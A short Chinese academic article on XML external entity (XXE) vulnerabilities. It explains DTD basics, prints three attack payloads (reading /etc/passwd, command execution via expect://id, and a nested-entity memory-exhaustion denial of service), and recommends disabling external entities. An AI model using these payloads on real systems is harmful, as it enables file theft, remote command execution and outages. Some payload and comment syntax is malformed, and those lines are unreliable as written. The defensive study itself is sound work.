應宗浩 金海
摘要:XXE漏洞是近年來產生的影響比較大的漏洞之一,能夠任意讀取文件,遠程執行命令,造成拒絕服務攻擊等。該文通過xxe漏洞背景介紹,給出相應的攻擊手段,并提出防御策略,以期能夠引起人們對xxe漏洞的重視,并加強相關方面的安全開發工作。
關鍵詞:XXE;漏洞;攻擊手段;防御策略
XML是用于標記電子文件使其具有結構性的標記語言,允許用戶對自己的標記語言進行定義。Web端,移動端,云端等客戶端技術使用XML向業務應用程序發送消息。為了使應用程序使用自定義的XML消息,應用程序必須去解析XML文檔并檢查格式是否正確。
較早的或配置錯誤的XML處理器無法準確評估XML文件中的外部實體引用。攻擊者可以利用外部實體發動攻擊。此種攻擊行為稱之為XXE(XML Enternal Entity Injection),即XML外部實體注入攻擊。
1 XML基礎
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
以下是一個典型xml文檔
<?xml version="1.0"?> <!—xml聲明—>
<!DOCTYPE note [<!—DTD文檔類型定義,定義此文檔是 note 類型的文檔>
<!ELEMENT note (head,body)><!定義note元素有四個元素>
<!ELEMENT head (#PCDATA)><!定義head元素為”#PCDATA”類型>
<!ELEMENT body (#PCDATA)><!定義body元素為”#PCDATA”類型>]>
DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。XXE漏洞關注的是外部實體引用,外部實體引用的代碼如下:
<!ENTITY 實體名稱 SYSTEM "URI">
2 xxe典型攻擊手段
2.1 任意讀取文件
<!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]>
代碼可以讀取/etc/passwd,file部分可以替換任意文件路徑,使得攻擊者能夠任意讀取文件。
2.2 執行系統命令
<!DOCTYPEmytest [<!ELEMENT name ANY >
<!ENTITY mytest SYSTEM "expect://id" >]>
該代碼能夠在服務器上執行“id”命令,”id”命令可以替換為其他系統命令,通過執行系統命令.
2.3 拒絕服務攻擊
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
&a4;
該代碼通過創建一項遞歸的 XML 定義,構造惡意的XML實體文件耗盡可用內存,造成拒絕服務攻擊。
3 XXE防御策略
大部分XML解析器無法正確解析xxe攻擊中的實體。因此可以配置XML處理器去使用本地靜態的DTD,不允許XML中含有自聲明的DTD。可以使用開發語言提供的禁用外部實體的方法,從而避免基于XXE漏洞的攻擊。
另外,升級libxml版本至2.9.0,libxml 2.9.0 以后默認不解析外部實體,也可以通過升級libxml版本進行xxe防御。
參考文獻:
[1]開放式Web應用程序安全項目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201.
[2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923.
[3]丁躍潮,張濤.XML實用教程[M].北京:北京大學出版社,2006.
[4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303.
作者簡介:應宗浩(1997),男,浙江溫州人,本科在讀,研究方向:信息安全,物聯網安全。